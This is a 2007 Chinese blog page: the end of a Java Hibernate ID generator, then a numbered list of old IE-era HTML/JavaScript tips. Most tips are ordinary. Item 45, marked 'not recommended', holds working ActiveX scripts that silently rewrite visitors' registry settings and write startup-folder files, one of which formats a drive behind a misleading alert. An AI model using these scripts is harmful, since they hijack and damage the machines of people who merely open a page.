    //最大值数组已经使用的容量
    private static int lastIndex;

    //递增步长,默认加1
    private int step = 1;
    private String key;
    private String sql;
    private Connection connection;
    private Class returnClass;

    public Serializable generate(SessionImplementor session, Object object)
        throws HibernateException {
        // TODO Auto-generated method stub
        connection = session.connection();

        long seq = -1;

        //找到索引值
        int index = findIndex();

        //把最大值加1
        seqs[index] = seqs[index] + step;

        seq = seqs[index];
       
        //得到流水号,是自己写的工具类生成的.形式为000x
        String seqStr = JspFormate.currentFormateORM(seq);
        //得到yymmdd,是自己写的方法工具类生成的yymmdd
        String preDate = JspFormate.dateFormateYYYYMMDD(new Date()).substring(2);
        //得到hhmmss,是自己写的工具类获取的hhmmss
        String preHour = JspFormate.dateFormateOnlyHHMMSSORM(new Date());

        return preDate + preHour + seqStr;
    }

    /**
     * 找到表中自动增长字段存储在数组中的索引值
     * @return 索引值
     */
    private int findIndex() {
        int index = 0;

        //首先中缓存中取出索引值
        Integer integer = (Integer) map.get(key);

        //如果没有找到就从数据库中读出最大值并进行cache
        if (null == integer) {
            //double check lock
            synchronized (lock) {
                integer = (Integer) map.get(key);

                if (null == integer) {
                    long maxvalue = 1;

                   /* try {
                        maxvalue = getMaxvalue();
                    } catch (SQLException e) {
                        log.error(e);
                    }*/
                    maxvalue = new Long(0).longValue();

                    integer = new Integer(lastIndex++);
                    seqs[integer.intValue()] = maxvalue;
                    map.put(key, integer);
                }
            }
        }

        index = integer.intValue();

        return index;
    }

    public void configure(Type type, Properties params, Dialect d)
        throws MappingException {
        //     取出table参数
        String table = params.getProperty("table");

        if (table == null) {
            table = params.getProperty(PersistentIdentifierGenerator.TABLE);
        }

        //取出column参数
        String column = params.getProperty("column");

        if (column == null) {
            column = params.getProperty(PersistentIdentifierGenerator.PK);
        }

        //表的sehcma参数
        String schema = params.getProperty(PersistentIdentifierGenerator.SCHEMA);

        returnClass = type.getReturnedClass();

        //取出step参数
        String stepvalue = params.getProperty("step");

        if ((null != stepvalue) && !"".equals(stepvalue.trim())) {
            try {
                step = Integer.parseInt(stepvalue);
            } catch (Exception e) {
                log.error(e);
            }
        }

        //构造存储在Map中的索引值的key name
        key = table + "_$_" + column;

        //根据参数构造取最大值的SQL
        sql = "select max(" + column + ") from ";

        if (null != schema) {
            sql += (schema + ".");
        }

        sql += table;
    }

    /**
     * 取指定表中id字段的最大值,不存在记录返回0
     * @return 最大值
     * @throws SQLException if sql error occurs.
     */
    private long getMaxvalue() throws SQLException {
        long maxvalue = 0;

        PreparedStatement st = connection.prepareStatement(sql);
        System.out.println("============================================" + sql);
        ResultSet rs = null;

        try {
            rs = st.executeQuery();

            if (rs.next()) {
                maxvalue = rs.getLong(1);
            }

            sql = null;
        } finally {
            if (rs != null) {
                rs.close();
            }

            st.close();
        }

        return maxvalue;
    }
}

posted @ 2007-06-01 13:49 牛宝雷 阅读(3900) | 评论 (8) | 编辑 收藏
 
网页制作时的技巧

1.怎样才能把RealPlayer文件在网页做一个试听连接?

<embed height=25 src=51js.rm type=audio/x-pn-realaudio-plugin width=50 autostart="false" controls="PlayButton">

2.请问如何去掉IE的上下滚动条?

<body style='overflow:scroll;overflow-y:hidden'>

</body>

3.如何在打开页面的时候,输入表单就获得焦点?

如果表单没有名字可以用document.forms[index]数组访问 如果表单项没有名字可以用document.forms[index].elements[index]数组访问 这里index是整数 比如:

<form>

<input type="text" value="" onclick ="document.forms[0].elements[0].value='我是表单1,第一个表单项';">

</form>

<form name="form2">

<input type="text" value="" onclick ="document.form2.elements[0].value='我是表单2,第一个表单项';">

</form>

<form name="form3">

<input name="text3" type="text" value="" onclick ="document.form3.text3.value='我是表单3,第一个表单项';">

</form>

4.解释一下event.X和event.clientX有什么区别?

event.clientX返回事件发生时,mouse相对于客户窗口的X坐标

event.X也一样

但是如果设置事件对象的定位属性值为relative

event.clientX不变

而event.X返回事件对象的相对于本体的坐标

event代表事件的状态,例如事件发生的的元素、鼠标的位置等等,event对象只在事件过程中才有效。

event属性:

altKey

检索ALT键的当前状态

可能的值 true为关闭

false为不关闭

button

检索按下的鼠标键

可能的值: 0 没按键

1 按左键

2 按右键

3 按左右键

4 按中间键

5 按左键和中间键

6 按右键和中间键

7 按所有的键

cancelBubble

设置或检索当前事件是否将事件句柄起泡

可能的值: false 启用起泡

true 取消该事件起泡

clientX

检索与窗口客户区域有关的鼠标光标的X坐标,属性为只读,没有默认值。

clientY

检索与窗口客户区域有关的鼠标光标的Y坐标,属性为只读,没有默认值。

ctrlKey

ctrlKey 检索CTRL键的当前状态

可能的值 true为关闭

false为不关闭

dataFld

检索被oncellchange事伯影响的列

aTransfer

为拖放操作提供预先定义的剪贴板式。

Element

检索在onmouseover和onmouseout事件期间退出的对象指针

keyCode

设置或检索与引发事件的关键字相关联的Unicode关键字代码

该属性与onkeydown onkeyup onkeypress一起使用

如果没有引发事件的关键字,则该值为0

offsetX

检索与触发事件的对象相关的鼠标位置的水平坐标

offsetY

检索与触发事件的对象相关的鼠标位置的垂直坐标

propertyName

检索在对象上己更改的特性的名称

reason

检索数据源对象数据传输的结果

可能的值:

0 数据传输成功

1 数据传输失败

2 数据传输错误

recordset

检索数据源对象中默认记录集的引用

该特性为只读

repeat

检索一个事件是否被重复

该属性只有在onkeydown事件重复时才返回true

returnValue

设置或检索从事件中返回的值

可能的值:

true 事件中的值被返回

false 源对象上事件的默认操作被取消

screenX

检索与用户屏相关的鼠标的水平位置

screenY

检索与用户屏相关的鼠标的垂直位置

shiftKey

检索shiftKey键的当前状态

可能的值 true为关闭

false为不关闭

srcElement

检索触发事件的对象

srcFilter

检索导致onfilterchange事件触发的过滤器对象

srcUm

检索触发事件行为的同一资源名称

除非下面两个条件都为真,否则该特性被设置为null

1.行为被附加到触发事件的要素上

2.在前面的项目符号中定义的行为己指定了一个URN标识符和己触发的事件

toElement

检索作为onmouseover或者onmouseout事件结果而移动的对象

type

检索事件对象中的事件名称

x

检索相对于父要素鼠标水平坐标的整数

y

检索相对于父要素鼠标垂直坐标的整数

5.请问如何让网页自动刷新?

在head部记入<META HTTP-EQUIV="Refresh" content="20">其中20为20秒后自动刷新,你可以更改为任意值。

6.如何让一个窗口永远在最上面?

<a onclick=aa()>点这里</a>

<script language='javascript'>

function aa(){

y=window.showModalDialog("http://www.51js.com","","Height: 300; Width: 275; help: no");

}

</script>
7.如何实现虚线边框?

<html>

<head>

<title>虚线</title>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

</head>

<body bgcolor="#FFFFFF" text="#000000">

<table width="100%" border="0" cellspacing="0" cellpadding="0">

<tr>

<td style="border-top-style:dashed ;"> </td>

</tr>

</table>

</body>

</html>

[/html]

还可以把dashed换成dotted | solid | double | groove | ridge | inset | outset 等等样式,还可以在style里指定颜色:border-color:#??????

[html]<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>New Page 1</title>

<meta name="GENERATOR" content="Microsoft FrontPage 3.0">

</head>

<body>

<table border="1" width="100%" style="border: 1px dashed">

<tr>

<td width="50%"> </td>

<td width="50%"> </td>

</tr>

<tr>

<td width="50%"> </td>

<td width="50%"> </td>

</tr>

<tr>

<td width="50%"> </td>

<td width="50%"> </td>

</tr>

</table>

</body>

</html>

[/html]

[html]<html>

<body>

<table>

<tr>

<td style="border-top:dashed 1px #000000;border-left:dashed 1px #000000;border-right:dashed 1px #000000">只有这样才行吗?</td>

</tr>

<tr><td style="border-left:dashed 1px #000000;border-right:dashed 1px #000000" height=100> </td></tr>

<tr><td style="border-bottom:dashed 1px #000000;border-left:dashed 1px #000000; border-right:dashed 1px #000000">如果td多了,这样出来的虚线边框是断断续续的。</td></tr></table>

</body></html>

8.如何用html实现浏览器上后退按钮的功能?

<a href="javascript:history.go(-1)">点击后退</a>

或者

<script> history.back() </script>

9.表单中如何用图片按钮实现 reset?

<html>

<head>

<script>

function aaa(){

document.forms[0].reset()

}

</script>

</head>

<body>

<form>

<textarea rows="2" name="S1" cols="20"></textarea>

<input type="submit" value="提交" name="B1">

<image src="logo.gif" onclick=aaa()>

</form>

</body></html>

10.怎样去掉图片链接点击后,图片周围的虚线?

onFocus="if(this.blur)this.blur()" blur: 使物件失焦... 當你点击图片链接時 图片链接得到焦點(Focus) 就會出現虚线(提示你這個圖片得到焦點了) 用blur能使之失焦 簡單一點的語法 onFocus="this.blur()"

11.如何去掉网页连接的下划线?

<head>

<style type="text/css">

<!--

A { text-decoration: none}

-->

</style>

</head>

<a href=http://www.51js.com>一个连接</a>

12.请问怎么在网页中改变鼠标的箭头形状?

<body>

<a href="#" style="cursor: auto;">auto</a><br/>

<a href="#" style="cursor: crosshair ">crosshair </a><br/>

<a href="#" style="cursor: default ">default </a><br/>

<a href="#" style="cursor: hand ">hand </a><br/>

<a href="#" style="cursor: move ">move </a><br/>

<a href="#" style="cursor: e-resize ">e-resize </a><br/>

<a href="#" style="cursor: ne-resize ">ne-resize </a><br/>

<a href="#" style="cursor: nw-resize">nw-resize</a><br/>

<a href="#" style="cursor: n-resize">n-resize</a><br/>

<a href="#" style="cursor: se-resize">se-resize</a><br/>

<a href="#" style="cursor: sw-resize">sw-resize</a><br/>

<a href="#" style="cursor: s-resize">s-resize</a><br/>

<a href="#" style="cursor: w-resize">w-resize</a><br/>

<a href="#" style="cursor: text">text</a><br/>

<a href="#" style="cursor: wait">wait</a><br/>

<a href="#" style="cursor: help">help</a><br/>

</body>

13.target="_blank"规定链接在新窗口中打开,那 target="_parent"、 target="_self" 、target="_top"的作用又是什么?

target="_parent"、上一层框架

target="_self" 、自身窗口、框架

target="_top" 最顶层框架。

更细点的解释,从织梦补给网找来的:

_blank

開啟一個新的視窗,而且是沒有命名的視窗。

_self

強迫連結的結果顯示在同一個子畫面,而忽略 BASE 的設定。

_parent

在該子畫面的「父畫面」(也就是上一層的 FRAMESET)中顯示連結的結果。

_top

從視窗的最上頭開始顯示畫面;換句話說就是先清除整個視窗後再載入連結

14.如何使网友收藏本网时,收藏夹显示的不是微软的那个一成不变的标志,而是本人选择的ICON?

<LINK href="fav.ico" rel="shortcut icon">

加入HADE標簽中,圖片放入根目錄下,須是.ico格式.

有的空間不支援直接放在根目錄

必須加上

<LINK href="路徑/圖檔.ico" rel="shortcut icon">

15.请问如何去掉主页右面的滚动条?

<body scroll="no">

<body style="overflow-y:hidden">

16.怎样不使用页面的缓存?即每一次打开页面时不是调用缓存中的东西

<META HTTP-EQUIV="Pragma" CONTENT="no-cache">

17.请问如何忽视右键?

<body oncontextmenu="return false">
18.怎样在同一页面内控制不同链接的CSS属性?

a:active{}

a:link{}

a:visited{}

a.1:active{}

a.1:link{}

a.1:visited{}

在DW4的CSS中定义一个新的标示,按照HTML的语法,超级连接得是

A.YOURS:LINK A.YOURS:HOVER

YOURS可以改作你自己的字

然后在选中某个连接后,在CSS面版中点中YOURS即可。

按需要,你可以定义N个标示,N种鼠标OVER的效果

19.电子邮件处理提交表单

<form name="form1" method="post" action="mailto:webmaster@51js.com" enctype="text/plain">

<input type=submit>

</form>

20.有没有可能用层来遮住FLASH?

1.在flash的parameters里加入 <param name="wmode" value="transparent">

2.<body onblur=self.focus()>

21.如何根据屏幕分辨率调用相对应的页面?

先做好几个页面,比如一个htm1.htm是800*600,一个是htm2.htm是1024*768的 然后在你的入口页面 index.htm 中判断:

<html>

<head>

<script language=javascript>

<!--

function mHref() {

if (screen.width == 1024) location.href = "htm2.htm";

else if (screen.width == 800) location.href = "htm1.htm";

else return(false);

}

//-->

</script>

</head>

<body onload="mHref();">

</body>

</html>

22.不用询问就关闭浏览器

<head>

<OBJECT id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">

<param name="Command" value="Close">

</object>

</head>

<body>

<input type="button" value="点击我关闭窗口" onclick="closes.Click();">

</body>

23.如何弹出只有状态栏的窗口?

<html>

<head>

<title>open() close()</title>

<script language="javascript" type="text/javascript">

<!--

function openWin()

{

var newWin=open("","","menubar=1,height=200");

newWin.document.write("<form>");

newWin.document.write("单击以下按钮关闭窗口:<p>");

newWin.document.write("<input type=button value='关闭' onclick=window.close()>");

newWin.document.write("</form>");

}

</script></head>

<body>

<div align=center>

<h2>单击以下按钮显示新窗口...</h2>

<form name=form1>

<input type=button value="新窗口1[只显示地址栏]" onclick=window.open('','new1','location=1')>

<input type=button value="新窗口2[只显示状态栏]" onclick=window.open('','','status=1')>

<input type=button value="新窗口3[只显示工具栏]" onclick=window.open('','new2','toolbar=1,height=200,width=450')>

<input type=button value="新窗口4[只显示菜单栏]" onclick=openWin()>

<input type=button value="新窗口5[一个不少]" onclick=window.open('','new5')>

<input type=button value="新窗口6[光棍但可调大小]" onclick=window.open('http://www.51js.com/forumdisplay.php?forumid=32#thread','new6','resizable=1')>

</form>

</div>

</body>

</html>

24.如何改变iframe的src地址

<body>

<input type="button" value="改变地址" onClick="parent.displayinhere.location.href='http://www.gznet.com/'">

<iframe name="displayinhere" width=250px; height=200px; src="http://www.51js.com">

</body>

25.如何让超链接没有下划线

在源代码中的<HEAD>…</HEAD>之间输入如下代码:

<style type="text/css"> <!--

a { text-decoration: none}

--> < /style>

26.页面打开时自动弹出一个窗口的代码怎么写?

<html>

<head>

<title>Untitled Document</title>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<script language="JavaScript">

<!--

function MM_openBrWindow(theURL,winName,features) { //v2.0

window.open(theURL,winName,features);

}

//-->

</script>

</head>

<body bgcolor="#FFFFFF" text="#000000" onLoad="MM_openBrWindow('1212312.htm','','width=400,height=400')">

</body>

</html>

27.请问如何做到让一个网页自动关闭.

<html>

<head>

<OBJECT id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">

<param name="Command" value="Close">

</object>

</head>

<body onload="window.setTimeout('closes.Click()',10000)">

这个窗口会在10秒过后自动关闭,而且不会出现提示. </body>

28.如何让我的页面出现一个会讲话的小人?Merlin

<HTML>

<HEAD>

<TITLE>默林</TITLE>

<META http-equiv=Content-Type content="text/html; charset=gb2312">

</HEAD>

<BODY>

<p><OBJECT id=sims classid=CLSID<img src="images/smilies/bigsmile.gif" border=0>45FD31B-5C6E-11D1-9EC1-00C04FD7081F>

</OBJECT>

<SCRIPT>

var MerlinID;

var MerlinACS;

sims.Connected = true;

MerlinLoaded = LoadLocalAgent(MerlinID, MerlinACS);

Merlin = sims.Characters.Character(MerlinID);

Merlin.Show();

Merlin.Play("Surprised");

Merlin.Speak("大家好");

Merlin.Play("GestureLeft");

Merlin.Think("我是默林!");

Merlin.Play("Pleased");

Merlin.Think("可爱吗?");

Merlin.Play("GestureDown");

Merlin.Speak("哈哈!");

Merlin.Hide();

function LoadLocalAgent(CharID, CharACS){

LoadReq = sims.Characters.Load(CharID, CharACS);

return(true);

}

</SCRIPT>

</p>

<p> </p>

<p>看此效果必须装有office2000!!!</p>

</BODY>

</HTML>

如果看不到效果或效果有问题,请将代码保存为html文件查看.

这代码中使用的MSAgent仍然属于客户端的控件,在Win98安装PWS时可以安装上一个叫Merlin的精灵,查查你的系统中有没有一个叫做Merlin.acf的文件,应该在一个叫MSAgent的目录,记不太清了,有的话才能看到,否则就会出现下载的提示,在Win2000中已安装了MSAgent2.0,所以一般都会正确的显示出来,还有很多精灵,但之所以选用Merlin因为大部分的机器上都有,如果想自己定制的话,可以到微软去下载一个叫Character Editor的工具,制作的精灵必须分发到客户端才可使用,在微软站点的MSAgent是在服务器端的,每个命令都要到服务器上去处理,然后发回相应的动作图画,(不过至今我还没看到过,我们的带宽本来就不够,还有一堆人在下载,哎,真是痛苦!),我还没有看到有关在Server端制作MSAgent的文章,谁有的话,可以告诉我一声。 其中: 用"=number" number是字数/分 例如: Merlin.Speak "=62to the 51js" Merlin.Speak "=160to the 51js" 还有,找到这句: Merlin.LanguageID = 0x409; 改为0x804 (Simplified Chinese) 改为0x404 (Traditional Chinese) 要用的话最好到微软去看看它的使用许可协议,要是被微软告了可别怪我噢!! 最终用户许可 http://msdn.microsoft.com/msagent/eula.asp 分发许可 http://msdn.microsoft.com/msagent/agentlic.asp MSAgent 下载 http://activex.microsoft.com/activex/controls/agent2/MSagent.exe http://agent.microsoft.com/agent2/chars/Merlin.exe http://agent.microsoft.com/agent2/chars/Peedy.exe 资料: http://msdn.microsoft.com/workshop/imedia/agent/techfaq.asp
29.如何几秒后转到别的页面?

<META HTTP-EQUIV="Refresh" CONTENT="时间;URL=地址">

30.在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动

<html><head>

<STYLE>

body {background-image:url(../bihu/pic/logo.gif);

background-repeat:no-repeat; background-position:center }

</STYLE>

</head>

<body bgproperties="fixed" >

</body>

</html>

31.文本输入框什么属性能实现不可输入?

<input type="text" name="textfield" disabled>

或者

<input type="text" name="textfield" readonly>

32.怎样保持layer在最前面,而不被Iframe、Object所覆盖,有什么解决方法?

只要在Layer中再插Iframe 或 Object 设z-Index值

<div z-Index:2><object xxx></object></div> # 前面

<div z-Index:1><object xxx></object></div> # 后面

<div id="Layer2" style="position:absolute; top:40;width:400px; height:95px;z-index:2"><table height=100% width=100% bgcolor="#ff0000"><tr><td height=100% width=100%></td></tr></table><iframe width=0 height=0></iframe></div>

<div id="Layer1" style="position:absolute; top:50;width:200px; height:115px;z-index:1"><iframe height=100% width=100%></iframe></div>

33.如何让表格并排?

首先在第一个表里应该这样写: "<table border=0 cellpadding=1 cellspacing=1 align=left>" 这table里最为关键是"align=left"这一句。 然后在第二个表里也应该加上align=left 这样,你的目的就达到了。

<table width="200" border="0" cellspacing="1" cellpadding="0" bgcolor="#000000" align=left>

<tr>

<td bgcolor="#ffffff"> </td>

</tr>

</table>

<table width="200" height=200 border="0" cellspacing="1" cellpadding="0" bgcolor="#cccccc" align=left>

<tr>

<td bgcolor="#ffffff"> </td>

</tr>

</table>

[/html]

[html]<table border="1" cellspacing="0" cellpadding="0" bordercolor="#ff0000" align=left> <tr><td>你好</tr></td></table>

<table border="1" cellspacing="0" cellpadding="0" bordercolor="#00ff00"><tr><td> 我很好</tr></td></table>

<br/>还可以排三个

<br/>

<table border="1" cellspacing="0" cellpadding="0" bordercolor="#ff0000" align=left> <tr><td>你好</tr></td></table>

<table border="1" cellspacing="0" cellpadding="0" bordercolor="#00ff00" align=right><tr><td> 我很好</tr></td></table>

<table border="1" cellspacing="0" cellpadding="0" bordercolor="#0000ff" align=center><tr><td> 他也很好</tr></td></table>

34.如何让两个form表单行距之间不出现空格?

这样写 <TABLE><FORM><TR>.......</TR></FORM></TABLE>

35.如何让页面自动刷新?

方法一,用refresh

<head>

<meta http-equiv="refresh" content="5">

</head>

5表示刷新时间

方法二,使用setTimeout控制 <script> function rl(){ document.location.reload() } setTimeout(rl,2000) </script>

36.如何给文本连接加上提示语言?

<a href="#" title="我出来拉">click me</a>

37.英文排版的问题:怎么能让英自动排列整齐?

请使用css中的 text-align: justify;

<table style="TABLE-LAYOUT: fixed" width="100%" border="0" cellspacing="0" cellpadding="7" bgcolor="#f7f7f7">

<tr>

<td style="LEFT: 0px; WIDTH: 100%; text-align: justify"><font color="#990000">[效果]</font><br/>

who are you you are a aaa is it comprehention who are you you are a pig is it comprehention

who are you you are a aaa is it comprehention

who are you you are a aaa is it comprehention

</font></td>

</tr>

</table>

38.如何禁止自己的页面在别人的框架里打开?

把以下代码加至你的<head>区

<script>

if (window.top!=self){

window.top.location=self.location

}

</script>

39.在打开的子窗口刷新父窗口的代码里如何写?

window.opener.location.reload()
42.JS正则表达式replace用法

下述示例脚本使用replace方法来转换串中的单词。在替换的文本中,脚本使用全局 RegExp

对象的$1和$2属性的值。注意,在作为第二个参数传递给replace方法的时候,RegExp对象的$属性的名

称。

<SCRIPT LANGUAGE="JavaScript1.2">

re = /(+)(+)/;

str = "John Smith";

newstr=str.replace(re,"$2, $1");

document.write(newstr)

</SCRIPT>

显示结果:"Smith, John".

str.replace(re,"$2, $1");这一句,$2,$1是什么意思?

[font color=blue]下面这个解释我也不大明白,可否帮我解释一下,多谢!{/font]

$1, ..., $9属性

用圆括号括着的匹配子串,如果有的话。

是RegExp的属性

静态,只读

在JavaScript 1.2, NES 3.0以上版本提供

描述:因为input是静态属性,不是个别正则表达式对象的属性。你可以使用RegExp.input 访问该

属性。

能加上圆括号的子串的数量不受限制,但正则表达式对象只能保留最后9 条。如果你要访问所有的

圆括号内的匹配字串,你可以使用返回的数组。

RegExp.$n 保存满足用圆括号括起来的匹配条件的子串

$2是匹配第2个括号,$1是匹配第1个括号,对多层括号嵌套应该如何区分?而且如果超过$1~$9的括号如何匹配?

<script>

var reg=/((+)(+))/;

var str='John Smith';

reg.exec(str);

</script>

<button onclick=with(RegExp)alert($1+''+$2+''+$3);>View</button>

43.如何实现首页全屏幕显示?

<html>

<body><script language="javascript">

var coolw=642

var coolh=400

var coolhuang=window.open("http://www.51js.com","coolhuang","width="+coolw+",height="+coolh+",fullscreen=1,

toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0")

window.close()

</script></body></html>

44.如何动态改变一个Object对象的样式表风格的Class?

<style>

.btn1{

background-color:#990000;color:#ffffff;

}

</style>

<button onclick="this.className='btn1'">你点我一下我的样式表就改为使用.btn1了</button>

45.如何用脚本来修改用户系统的注册表? (★★★★不推荐使用★★★★)

<script>

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function AddFavLnk(loc, DispName, SiteURL)

{

var Shor = Shl.CreateShortcut(loc + "\" + DispName +".URL");

Shor.TargetPath = SiteURL;

Shor.Save();

}

function f(){

try

{

//ActiveX 初始化

a1=document.applets[0];

a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

Shl = a1.GetObject();

a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");

a1.createInstance();

FSO = a1.GetObject();

a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

Net = a1.GetObject();

try

{

if (documents .cookie.indexOf("Chg") == -1)

{

//设置Cookie

var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));

documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

//设置Cookie完毕

//设置主页

Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.51js.com/");

//修改浏览器的标题

Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Window Title", "你的Internet Explorer已经被修改过了 51JS.COM");

//设置Cookie

var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));

documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"


var WF, Shor, loc;

WF = FSO.GetSpecialFolder(0);

loc = WF + "\Favorites";

if(!FSO.FolderExists(loc))

{

loc = FSO.GetDriveName(WF) + "\Documents and Settings\" + Net.UserName + "\Favorites";

if(!FSO.FolderExists(loc))

{

return;

}

}


AddFavLnk(loc, "无忧脚本", "http://www.51js.com");

}

}

catch(e)

{}

}

catch(e)

{}

}

function init()

{

setTimeout("f()", 1000);

}

init();

</script>

格式化硬盘的,

把启动菜单下的automat.hta删除即可,这是格式化 a:盘

<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">

</object>

<SCRIPT>

scr.Reset();

scr.Path="C:\windows\start menu\Programs\启动\automat.hta";

scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>wsh.Run('start /m format a: /q /autotest /u');alert('Note:Windows is configing the system,do not interrupt it!.');</"+"SCRIPT>";

scr.write();

</script>

<HTML>

<HEAD>

<TITLE>

建立文件

</TITLE>

</HEAD>

<BODY>

<BR>

<APPLET code="com.ms.activeX.ActiveXComponent" >

</APPLET>

<SCRIPT LANGUAGE="JAVASCRIPT">

a1=document.applets[0];

fn="51js.HTM";

doc="<SCRIPT>s1=欢迎你访问无忧脚本!\请您将在启动文件夹内的51js.com.HTM删除即可;alert(s1);document.body.innerHTML=s1</"+"SCRIPT>";

function f1()

{

a1.setProperty('DOC',doc);

}

function f()

{

// The ActiveX classid

cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";

a1.setCLSID(cl);

a1.createInstance();

setTimeout("a1.setProperty('Path','"+fn+"')",1000);

setTimeout("f1()",1500);

setTimeout("a1.invoke('write',VA);alert('"+fn+" 被建立');",2000);

}

setTimeout("f()",1000)

</SCRIPT>

<SCRIPT LANGUAGE="VBSCRIPT">

VA = ARRAY()

' 获取com.ms.com.Variant[]

</SCRIPT>

<BR>

</BODY>

</HTML>原理是一样的!

46.如何监听一个窗口被关闭了?

<body onunload="alert('你关闭了这个窗口')">

47.什么是innerHTML、outerHTML………还有innerText?

自己用代码来体会一下

<div id=test><table><tr><td>文本<a>链接</a>另一段文本</td></tr></table></div>

<input type=button onclick=alert(test.innerText) value="show innerText"><br/>

<input type=button onclick=alert(test.innerHTML) value="show innerHTML"><br/>

<input type=button onclick=alert(test.outerHTML) value="show outerHTML"><br/>

48.关于try....catch..的语法捕捉错误使用例子

try{

可能会引起错误的语句

}

catch(表达式)

{

错误处理语句

}

例如:

<button onclick=TryDemo()>Try...Catch...Demo</button>

<script>

function TryDemo()

{

try{

var a=b/2;//注意由于b不存在,所以会引发一个异常。

}

catch(e)

{

alert('错误类型:'+e+'错误信息:'+e.Descrition);

}

}

</script>
49.如何获得一个Select中选中option的value?

select.options[select.selectedIndex].value

50.this 和self 有什么区别,各在哪里用

self指代窗口。 this的情况: 1. 用于元素事件代码中指代元素本身: <button onclick=alert(this.value)>指代元素本身</button> 2. 用于function中指代用function构造的类。

<script>

function Car(){this.name='Car';};alert(new Car().name);

</script>

51.如何禁止Ctrl+N?

<body onkeydown=return(!(event.keyCode==78&&event.ctrlKey))>

52.所有dhtml对象的属性和方法其实在你本机的硬盘上就有!

查找:dhtmled.ocx

或在delphi/c++builder中import activeX 选dhtmled.ocx

53.window方法列表

发现经常有人问一些有关窗口操作的问题,

所以花了些时间整理出这篇文章,

希望以后不会再有人问这方面的问题。

ie里window的method列表

alert(sMsg)

//弹出一个确认消息框

attachEvent(sEvent,pFunction)

//绑定一个函数到某个事件,事件触发时随机执行其中一个被绑定的函数

blur()

//令窗口丧失焦点

clearInterval(iIntervalID)

//清除指定定时器的关联函数

clearTimeout(iTimeoutID)

//清除指定延时器的关联函数

close()

//关闭窗口,如果窗口不是用脚本打开的,会弹出确认对话框。

confirm([sMessage])

//弹出“确定/取消”对话框

createPopup([vArgs])

//创建一个隐藏的弹出式窗口,vArgs是未来考虑提供的参数,返回窗口句柄

detachEvent(sEvent,pFunction)

//取消一个事件的某个绑定函数

execScript(sExpression, sLanguage)

//用指定的语言执行代码

focus()

//激活窗口

moveBy(iX,iY)

//用相对方式移动窗口

moveTo(iLeft,iTop)

//用绝对方式移动窗口

navigate(sURL)

//转到指定的连接

open( [sURL] [, sName] [, sFeatures] [, bReplace])

//打开新窗口,并返回窗口句柄

//sName=(*_blank:打开一个新的未命名窗口;_parent:在父窗口中打开;_search:同时打开搜索窗口;_self:替换本窗口; _top:在顶级窗口里打开;*)

//sFeatures=(*channelmode = { yes | no | 1 | 0 };directories = { yes | no | 1 | 0 };fullscreen = { yes | no | 1 | 0 };height = number;left = number;location = { yes | no | 1 | 0 };menubar = { yes | no | 1 | 0 };resizable = { yes | no | 1 | 0 };scrollbars = { yes | no | 1 | 0 };status = { yes | no | 1 | 0 };titlebar = { yes | no | 1 | 0 };toolbar = { yes | no | 1 | 0 };top = number;width = number;*)

print()

//打印当前窗口文档内容

prompt( [sMessage] [, sDefaultValue])

//弹出输入对话框

resizeBy(iX, iY)

//以相对方式改变窗口大小

resizeTo(iWidth, iHeight)

//以绝对方式改变窗口大小

scroll(iX,iY)

滚动窗口,与scrollTo一样的效果,出于兼容性的考虑保留下来的方法

scrollBy(iX, iY)

//用相对方式滚动窗口

scrollTo(iX, iY)

//用绝对方式滚动窗口

setActive()

//激活目标而不将视线转向目标

setInterval(vCode, iMilliSeconds [, sLanguage])

//定时执行一段代码

setTimeout(vCode, iMilliSeconds, sLanguage)

//延时执行一段代码

showHelp(sURL [, vContextID])

//打开一个帮助文件,sURL为帮助文档地址,vContextID为帮助索引号

showModalDialog(sURL [, vArguments] [, sFeatures])

showModalDialog(sURL [, vArguments] [, sFeatures])

//打开一个模式对话框

//vArguments=需要向新开模式对话框传递的参数

//sFeatures=(*dialogHeight:sHeight;dialogLeft:sXPos;dialogTop:sYPos;dialogWidth:sWidth;center:{ yes | no | 1 | 0 | on | off };dialogHide:{ yes | no | 1 | 0 | on | off };edge:{ sunken | raised };help:{ yes | no | 1 | 0 | on | off };resizable:{ yes | no | 1 | 0 | on | off };scroll:{ yes | no | 1 | 0 | on | off };status:{ yes | no | 1 | 0 | on | off };unadorned:{ yes | no | 1 | 0 | on | off };*)

showModelessDialog(sURL [, vArguments] [, sFeatures])

//打开一个非模式对话框

//vArgument=需要向新开模式对话框传递的参数

//sFeatures=(*dialogHeight:sHeight;dialogLeft:sXPos;dialogTop:sYPos;dialogWidth:sWidth;center:{ yes | no | 1 | 0 | on | off };dialogHide:{ yes | no | 1 | 0 | on | off };edge:{ sunken | raised };help:{ yes | no | 1 | 0 | on | off };resizable:{ yes | no | 1 | 0 | on | off };scroll:{ yes | no | 1 | 0 | on | off };status:{ yes | no | 1 | 0 | on | off };unadorned:{ yes | no | 1 | 0 | on | off };*)

54.execCommand的完全参考(中文版)

document.execCommand(sCommand[,交互方式, 动态参数])

2D-Position;document.execCommand("2D-Position","false","true");使绝对定位的对象可直接拖动;ie5.5

AbsolutePosition;document.execCommand("AbsolutePosition","false","true");使对象定位变成绝对定位;ie5.5

